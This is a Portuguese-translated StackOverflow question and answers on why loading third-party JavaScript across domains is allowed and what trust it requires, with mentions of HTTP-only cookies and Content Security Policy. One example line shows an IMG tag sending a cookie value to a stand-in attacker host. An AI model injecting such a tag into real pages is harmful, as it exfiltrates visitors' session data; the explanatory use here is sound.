Pergunta

Por que, quando vinculamos a um arquivo JavaScript no X.com do Y.com (por exemplo, Google Analytics ou JQuery), não causa problemas de segurança de domínio cruzado?

Por exemplo:

Em y.com/index.html, temos:

<script type="text/javascript" src="http://x.com/jsfile.js" />

Como podemos saber quando é bom fazer e quando não é?

Foi útil?

Solução

Ele tem o potencial de ser um grande buraco de segurança, para que você precise confiar naquele site que está hospedando o arquivo JavaScript.

Por exemplo, esse código pode injetar mais tags de script e tags IMG em seu site que podem retransmitir dados sensíveis a uma terceira parte.

O comentário de David sobre a mesma política de origem pode ser enganoso. Uma maneira clássica de transmitir dados para um site remoto é inserir uma tag IMG em um domínio remoto:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

Se o código JavaScript no host remoto foi alterado para injetar dinamicamente uma tag IMG como esse, seu site poderá ter um orifício de segurança. Existem mitigações para alguns desses problemas, como o uso de cookies somente HTTP, que não são acessíveis via JavaScript.

O exemplo dos sistemas de análise é ótimo. Você deve confiar que o provedor não aceitará dados confidenciais, como seus próprios cookies, e enviá -los para um local remoto. Você também precisa confiar no provedor que seus O sistema é seguro e que um hacker não pode alterar os arquivos JavaScript em seus servidores. Os sistemas de análise geralmente funcionam usando essas mesmas técnicas, mas espero que eles o usem para o bem e não para o mal. Em certo sentido, não é diferente de se preocupar se seus desenvolvedores estão escrevendo um código bom e seguro e se introduzem um backdoor secreto.

Quanto a Por quê É permitido, é apenas histórico. A Web não foi de todo projetada com a segurança em mente. Seja um ataque de CSRF, ataques de reprodução ou ataques de XSS, essas são falhas fundamentais no design da Web que agora se tornam preocupações dos desenvolvedores da Web.

Outras dicas

De onde vem os dados é irrelevante, é o escopo onde é usado que importa.

Você está apenas obtendo o script de um domínio diferente, ele ainda é executado no escopo da sua própria página para que ele não tenha acesso a recursos no domínio de onde ele foi carregado.

Em uma situação em que você tem problemas de domínio cruzado, como um iframe contendo uma página de um domínio diferente, você tem dois escopos diferentes. A página no iframe é executada no escopo do domínio de onde foi carregado, para que possa acessar recursos nesse domínio, mas não pode acessar nada na página que esteja hospedando o iframe, pois esse é um escopo diferente.

(Nota: não sei se o termo "escopo" é comumente usado neste contexto, pode haver um termo que o descreva melhor.)

Não sei por que podemos fazer isso. Mas você pode impedir que isso aconteça usando a Política de Segurança do Conteúdo (CSP), um cabeçalho HTTP enviado pelo seu aplicativo da Web que declara que ele não deve carregar JavaScript, exceto a partir de domínios que você permite explicitamente.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top